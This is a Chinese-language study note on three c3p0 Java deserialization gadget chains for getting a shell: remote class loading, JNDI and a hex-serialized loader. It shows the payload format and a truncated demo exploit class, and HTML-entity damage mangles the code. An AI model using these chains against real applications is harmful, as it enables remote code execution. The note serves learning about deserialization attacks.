c3p0的三个gadget的学习

目前c3p0有三种方式getshell

• 加载远程类
• jndi
• hex序列化字节加载器

前两个可以放在一起学习,在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject&＃xff0c;可以看到&＃xff0c;如果是IndirectlySerialized的实例就会去调用getObject方法

if (o instanceof IndirectlySerialized) {o &＃61; ((IndirectlySerialized)o).getObject();
}

而它的实现类只有一个com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized&＃xff0c;我们可以看看

触发jndi

很明显如果contextName不为空&＃xff0c;则会触发&＃xff0c;这里没必要继续说下去了

加载远程类

接下来是第二个&＃xff0c;这也是ysoserial本身集成的一个payload&＃xff0c;继续往下看&＃xff0c;ReferenceableUtils.referenceToObject&＃xff0c;也是很明显通过URLClassloader加载远程类&＃xff0c;并且默认初始化了&＃xff0c;因此可以直接在静态块里面放入恶意数据

关于writeObject的话&＃xff0c;以ysoserial的为例&＃xff0c;PoolSource implements ConnectionPoolDataSource, Referenceable&＃xff0c;只要不实现序列化接口&＃xff0c;并实现getReference方法返回我们的Reference对象即可&＃xff0c;也是很简单的

hex序列化字节加载器

这个更多会用到在fastjson&＃xff0c;Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等里面配合使用

当在userOverridesAsString当中设置了序列化数据后&＃xff0c;当调用set方法setUpPropertyListeners时就能触发

可以看到里面对序列化数据的处理

public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {if (userOverridesAsString !&＃61; null) {String hexAscii &＃61; userOverridesAsString.substring("HexAsciiSerializedMap".length() &＃43; 1, userOverridesAsString.length() - 1);byte[] serBytes &＃61; ByteUtils.fromHexAscii(hexAscii);return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));} else {return Collections.EMPTY_MAP;}
}

最后触发原生反序列化

后面才发现又个地方比较坑&＃xff0c;在com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

String hexAscii &＃61; userOverridesAsString.substring("HexAsciiSerializedMap".length() &＃43; 1, userOverridesAsString.length() - 1);

这里会把最后一位吃了有点恶心&＃xff0c;因此构造payload的时候要像这样

String payload &＃61; "HexAsciiSerializedMap:"&＃43;HexString&＃43;":";

这里给个demo方便测试

import com.govuln.deserialization.CB1;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import hudson.remoting.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import org.python.antlr.ast.Str;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.PriorityQueue;public class Test {public static byte[] toByteArray(InputStream in) throws IOException {byte[] classBytes;classBytes &＃61; new byte[in.available()];in.read(classBytes);in.close();return classBytes;}public static String bytesToHexString(byte[] bArray, int length) {StringBuffer sb &＃61; new StringBuffer(length);for(int i &＃61; 0; i